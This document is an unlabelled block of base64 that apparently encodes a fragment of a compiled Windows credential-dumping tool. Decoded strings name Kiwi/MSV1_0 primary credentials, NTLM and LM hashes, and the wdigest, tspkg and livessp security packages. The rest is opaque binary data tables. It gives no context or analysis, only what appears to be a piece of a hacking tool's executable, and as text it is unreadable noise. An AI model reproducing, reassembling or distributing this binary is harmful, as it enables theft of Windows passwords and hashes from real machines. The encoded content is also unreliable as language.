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AAAAAAAAAAAAAAAEiRBgABAAAAAAAAAP////8AAAAAQAAAADgDBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABwkQYAuAMGAJADBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAA0AMGAAAAAAAAAAAA8AMGAGgDBgAAEAYAAAAAAAAAAAAAAAAAAAAAAAAAAABwkQYAAgAAAAAAAAD/////AAAAAEAAAAC4AwYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAmJEGAEAEBgAYBAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAFgEBgAAAAAAAAAAAHgEBgBoAwYAABAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAmJEGAAIAAAAAAAAA/////wAAAABAAAAAQAQGAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAANCRBgDIBAYAoAQGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADgBAYAAAAAAAAAAAD4BAYAAA4GAAAAAAAAAAAAAAAAAAAAAADQkQYAAQAAAAAAAAD/////AAAAAEAAAADIBAYAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAOAUGAAAAAAAAAAAAUAUGAOgKBgAAAAAAAAAAAAAAAAAAAAAAGJIGAAEAAAAAAAAA/////wAAAABAAAAAIAUGAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAECSBgCgBQYAeAUGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAC4BQYAAAAAAAAAAADYBQYAUAUGAOgKBgAAAAAAAAAAAAAAAAAAAAAAAAAAAECSBgACAAAAAAAAAP////8AAAAAQAAAAKAFBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABYsQYAKBAGAAAGBgAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAA2LEGAFAGBgAoBgYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAGgGBgAAAAAAAAAAAIAGBgAAEAYAAAAAAAAAAAAAAAAAAAAAANixBgABAAAAAAAAAP////8AAAAAQAAAAFAGBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABolAYA0AYGAKgGBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA6AYGAAAAAAAAAAAA+AYGAAAAAAAAAAAAAAAAAGiUBgAAAAAAAAAAAP////8AAAAAQAAAANAGBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAADQmQYASAcGACAHBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAYAcGAAAAAAAAAAAAeAcGAAAQBgAAAAAAAAAAAAAAAAAAAAAA0JkGAAEAAAAAAAAA/////wAAAABAAAAASAcGAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAADCuBgDIBwYAoAcGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADgBwYAAAAAAAAAAAD4BwYA6AoGAAAAAAAAAAAAAAAAAAAAAAAwrgYAAQAAAAAAAAD/////AAAAAEAAAADIBwYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAYK4GAEgIBgAgCAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAGAIBgAAAAAAAAAAAHgIBgDoCgYAAAAAAAAAAAAAAAAAAAAAAGCuBgABAAAAAAAAAP////8AAAAAQAAAAEgIBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAACAsQYAyAgGAKAIBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAA4AgGAAAAAAAAAAAACAkGAJAJBgBoCwYAABAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICxBgADAAAAAAAAAP////8AAAAAQAAAAMgIBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAACwsQYAWAkGADAJBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAcAkGAAAAAAAAAAAAkAkGAGgLBgAAEAYAAAAAAAAAAAAAAAAAAAAAAAAAAACwsQYAAgAAAAAAAAD/////AAAAAEAAAABYCQYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAwK4GAOAJBgC4CQYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAPgJBgAAAAAAAAAAABgKBgBwCgYA6AoGAAAAAAAAAAAAAAAAAAAAAAAAAAAAwK4GAAIAAAAAAAAA/////wAAAABAAAAA4AkGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAFgKBgAAAAAAAAAAAHAKBgDoCgYAAAAAAAAAAAAAAAAAAAAAAOiuBgABAAAAAAAAAP////8AAAAAQAAAAEAKBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAQrwYAwAoGAJgKBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA2AoGAAAAAAAAAAAA6AoGAAAAAAAAAAAAAAAAABCvBgAAAAAAAAAAAP////8AAAAAQAAAAMAKBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAwsQYAOAsGABALBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAUAsGAAAAAAAAAAAAaAsGAAAQBgAAAAAAAAAAAAAAAAAAAAAAMLEGAAEAAAAAAAAA/////wAAAABAAAAAOAsGAAAAAAAAAAAAAAAAAAEAAACIAAAAAAAAAECvBgC4CwYAkAsGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAADQCwYAAAAAAAAAAAAADAYAiA0GAGANBgA4DQYAEA0GAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABArwYABAAAAAAAAAD/////AAAAAEAAAAC4CwYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAoK8GAFAMBgAoDAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAGgMBgAAAAAAAAAAAIAMBgAADgYAAAAAAAAAAAAAAAAAAAAAAKCvBgABAAAAAAAAAP////8AAAAAQAAAAFAMBgAAAAAAAAAAAAAAAAABAAAACAAAAAAAAAAAsAYA0AwGAKgMBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAA6AwGAAAAAAAAAAAAiA0GAGANBgA4DQYAEA0GAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOCwBgAAAAAACAAAAAAAAAAEAAAAQAAAADAPBgAAAAAAAAAAAAAAAAAIsQYAAQAAAAAAAAAAAAAABAAAAEAAAADYDgYAAAAAAAAAAAAAAAAAoLAGAAIAAAAAAAAAAAAAAAQAAABQAAAAUA4GAAAAAAAAAAAAAAAAAACwBgADAAAAAAAAAP////8AAAAAQAAAANAMBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABQsAYA2A0GALANBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA8A0GAAAAAAAAAAAAAA4GAAAAAAAAAAAAAAAAAFCwBgAAAAAAAAAAAP////8AAAAAQAAAANgNBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAACgsAYAUA4GACgOBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAaA4GAAAAAAAAAAAAiA4GAIAPBgAIDwYAAAAAAAAAAAAAAAAAAAAAAAAAAACgsAYAAgAAAAAAAAD/////AAAAAEAAAABQDgYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAACLEGANgOBgCwDgYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAPAOBgAAAAAAAAAAAIAPBgAIDwYAAAAAAAAAAAAAAAAAAAAAAOCwBgAAAAAACAAAAP////8AAAAAQAAAADAPBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAABIDwYAAAAAAAAAAABYDwYAAAAAAAAAAAAAAAAA4LAGAAAAAAAAAAAA/////wAAAABAAAAAMA8GAAAAAAAAAAAAAAAAAAixBgABAAAAAAAAAP////8AAAAAQAAAANgOBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAsgYA0A8GAKgPBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAA6A8GAAAAAAAAAAAAUBAGAAAQBgAAAAAAAAAAAAAAAAAAAAAAWLEGAAAAAAAAAAAA/////wAAAABAAAAAKBAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAEAQBgAAAAAAAAAAAAAQBgAAAAAAAAAAAAAAAAAAsgYAAQAAAAAAAAD/////AAAAAEAAAADQDwYAAAAAAAAAAAAAAAAAAQAAAJgAAAAAAAAAMLIGAKAQBgB4EAYAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAACgAAAMAQBgAAAAAAAAAAAAAAAAAAAAAAGBEGAPgRBgCIEgYAYA0GADgNBgAQDQYA0BEGAGANBgA4DQYAEA0GAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCyBgAJAAAAAAAAAP////8AAAAAQAAAAKAQBgAAAAAAAAAAAAAAAAABAAAAGAAAAAAAAACQsgYAaBEGAEARBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAJAAAAgBEGAAAAAAAAAAAA+BEGAIgSBgBgDQYAOA0GABANBgDQEQYAYA0GADgNBgAQDQYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAYAAwAAABAAAAD/////AAAAAEAAAADQDAYAAAAAAAAAAAAAAAAAkLIGAAgAAAAAAAAA/////wAAAABAAAAAaBEGAAAAAAAAAAAAAAAAAAEAAAAQAAAAAAAAAOCyBgBIEgYAIBIGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAABgEgYAAAAAAAAAAACIEgYAYA0GADgNBgAQDQYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4LIGAAMAAAAAAAAA/////wAAAABAAAAASBIGAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAACi1BgDYEgYAsBIGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADwEgYAAAAAAAAAAAAAEwYAAAAAAAAAAAAAAAAAKLUGAAAAAAAAAAAA/////wAAAABAAAAA2BIGAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAFC1BgBQEwYAKBMGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAABoEwYAAAAAAAAAAACAEwYA6AoGAAAAAAAAAAAAAAAAAAAAAABQtQYAAQAAAAAAAAD/////AAAAAEAAAABQEwYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAsLUGANATBgCoEwYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOgTBgAAAAAAAAAAAPgTBgAAAAAAAAAAAAAAAACwtQYAAAAAAAAAAAD/////AAAAAEAAAADQEwYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAA0LUGAEgUBgAgFAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAGAUBgAAAAAAAAAAAHgUBgDoCgYAAAAAAAAAAAAAAAAAAAAAANC1BgABAAAAAAAAAP////8AAAAAQAAAAEgUBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAtgYAyBQGAKAUBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAA4BQGAAAAAAAAAAAA+BQGAOgKBgAAAAAAAAAAAAAAAAAAAAAAALYGAAEAAAAAAAAA/////wAAAABAAAAAyBQGAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAGC2BgBIFQYAIBUGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAABgFQYAAAAAAAAAAACAFQYAcAoGAOgKBgAAAAAAAAAAAAAAAAAAAAAAAAAAAGC2BgACAAAAAAAAAP////8AAAAAQAAAAEgVBgAAAAAAAAAAAAAAAAABAAAAmAAAAAAAAACQtgYA0BUGAKgVBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAKAAAA8BUGAAAAAAAAAAAAAAAAAAAAAABIFgYAqBcGAPAYBgDIGAYAOA0GABANBgCAFwYAyBgGADgNBgAQDQYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkLYGAAkAAAAAAAAA/////wAAAABAAAAA0BUGAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAPC2BgCYFgYAcBYGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACwFgYAAAAAAAAAAADIFgYAaBkGAAAAAAAAAAAAAAAAAAAAAADwtgYAAQAAAAAAAAD/////AAAAAEAAAACYFgYAAAAAAAAAAAAAAAAAAQAAABgAAAAAAAAAULcGABgXBgDwFgYAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAACQAAADAXBgAAAAAAAAAAAKgXBgDwGAYAyBgGADgNBgAQDQYAgBcGAMgYBgA4DQYAEA0GAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoLcGAAMAAAAQAAAA/////wAAAABAAAAA+BcGAAAAAAAAAAAAAAAAAFC3BgAIAAAAAAAAAP////8AAAAAQAAAABgXBgAAAAAAAAAAAAAAAAABAAAACAAAAAAAAACgtwYA+BcGANAXBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAEBgGAAAAAAAAAAAAOBgGAMgYBgA4DQYAEA0GAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKC3BgADAAAAAAAAAP////8AAAAAQAAAAPgXBgAAAAAAAAAAAAAAAAABAAAAEAAAAAAAAADwtwYAiBgGAGAYBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAoBgGAAAAAAAAAAAA8BgGAMgYBgA4DQYAEA0GAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIi4BgACAAAAAAAAAAAAAAAEAAAAUAAAALgZBgAAAAAAAAAAAAAAAADwtwYAAwAAAAAAAAD/////AAAAAEAAAACIGAYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAQLgGAEAZBgAYGQYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAFgZBgAAAAAAAAAAAGgZBgAAAAAAAAAAAAAAAABAuAYAAAAAAAAAAAD/////AAAAAEAAAABAGQYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAiLgGALgZBgCQGQYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAANAZBgAAAAAAAAAAAPAZBgCADwYACA8GAAAAAAAAAAAAAAAAAAAAAAAAAAAAiLgGAAIAAAAAAAAA/////wAAAABAAAAAuBkGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQGABRkDAAUNAoAFHIQcAEGAgAGUgIwAQoEAAo0BwAKMgZwERYGABY0DAAIUgRwA2ACUAyOAwCIGQUA/////xDlBAB4JwMA/////54nAwAAAAAADSgDAP////8RGAQAGDQJAApSBnAMjgMAyBkFAP////8c5QQAAAAAACzlBAAkKQMA/////0spAwABAAAAUSkDAAAAAABkKQMA/////xEPAgAGUgIwDI4DAPAZBQD/////POUEAIwpAwD/////uCkDAAAAAABzKgMA/////xEPAgAGUgIwDI4DACAaBQD/////SOUEANQCBQD/////8AIFAAAAAAAYAwUA/////wEEAQAEggAAAQkBAAliAAAZEwEABKIAAGinAwBAAAAAAQwGAAw0DgAMkghwB2AGUAEJAQAJQgAAARgKABhkCwAYVAoAGDQJABgyFNASwBBwARoJABpiFvAU4BLQEMAOcA1gDFALMAAAAR0MAB1oAgAZdAsAGWQKABlUCQAZNAgAGVIVwBkjCgAUNBIAFHIQ8A7gDNAKwAhwB2AGUGinAwAwAAAAGR8IABA0DgAQUgzQCsAIcAdgBlBopwMAKAAAAAETCAATZA0AEzQKABNSD9ANwAtwER0IAB1kEwAZVBIAFTQRAAjSBHAMjgMAaB0FAP////9U5QQAQD8DAP////+JPwMAAAAAAMo/AwD/////ERYGABY0DwAIcgRwA2ACUAyOAwCQHQUA/////2DlBAB4QQMA/////55BAwAAAAAAr0IDAP////8BBgIABjICMBktBwAfdBYAGzQVAA8BEgAEUAAAnMADALgdBQCKAAAA/////3jlBADIQwMA/////7BEAwAAAAAAnkUDAP////+rRQMAAAAAAPlFAwD/////GSwIAB5kFAAaNBMADtIH0AVwBFCcwAMA4B0FAGoAAAD/////bOUEAERGAwD/////9UYDAAAAAAC9RwMA/////xk0CwAmZBsAIjQaABYBEgAL4AnQB8AFcARQAACcwAMACB4FAIoAAAAYSAMA/////1VJAwAAAAAAP0oDAP////9jSgMAAAAAAH9KAwD/////ARIIABJUCgASNAkAEjIOwAxwC2ARGAQAGDQJAApSBnAMjgMAMB4FAP////+E5QQAoE0DAP/////FTQMAAAAAAA9OAwD/////EQ0BAARiAAAMjgMAWB4FAP////+Q5QQA7AAFAP/////+AAUAAAAAAB0BBQD/////EQ0BAARiAAAMjgMAkB4FAP////+95QQAhAEFAP////+WAQUAAAAAALUBBQD/////ARIIABJUEQASNA4AEpIOwAxwC2AAAAAAAQAAAAEUBgAUZAcAFDQGABQyEHABDwEAD2IAAAAAAAABAAAAAQoCAAoyBjAREwgAE2QMABM0CwATUg/QDcALcFzVAwACAAAAvlgDAOFYAwDq5QQAAAAAAOZYAwD6WAMA6uUEAAAAAAAZGQQACjQOAAqSBnBopwMAQAAAAAEUCgAUNA8AFDIQ8A7gDNAKwAhwB2AGUAEGAgAGUgJQERkKABnECwAZdAoAGWQJABk0CAAZUhXQXNUDAAEAAAC8XQMA1V0DAATmBAAAAAAAEQ8EAA80BwAPMgtwXNUDAAEAAAARYAMAG2ADAG7pBAAAAAAAERQGABRkCAAUNAcAFDIQcFzVAwABAAAANWEDAERhAwBu6QQAAAAAABEPBAAPNAcADzILcFzVAwABAAAAI2IDAC1iAwBu6QQAAAAAAAEGAgAGMgJwARsIABtoAwAVZA0AFTQLABVyEXARDgIADjIKMFzVAwACAAAAfGwDAKBsAwDX6QQAAAAAALtsAwDibAMA9+kEAAAAAAABFwUAF2ITcBJgEVAQMAAAARkKABl0CwAZZAoAGVQJABk0CAAZUhXAAQ8GAA9kCQAPNAgAD1ILcAEcDAAcZA4AHFQNABw0DAAcUhjwFuAU0BLAEHAZJgoAFAEfAA3wC+AJ0AfABXAEYANQAjBopwMA4AAAABkwCwAfNE0AHwFCABDwDuAM0ArACHAHYA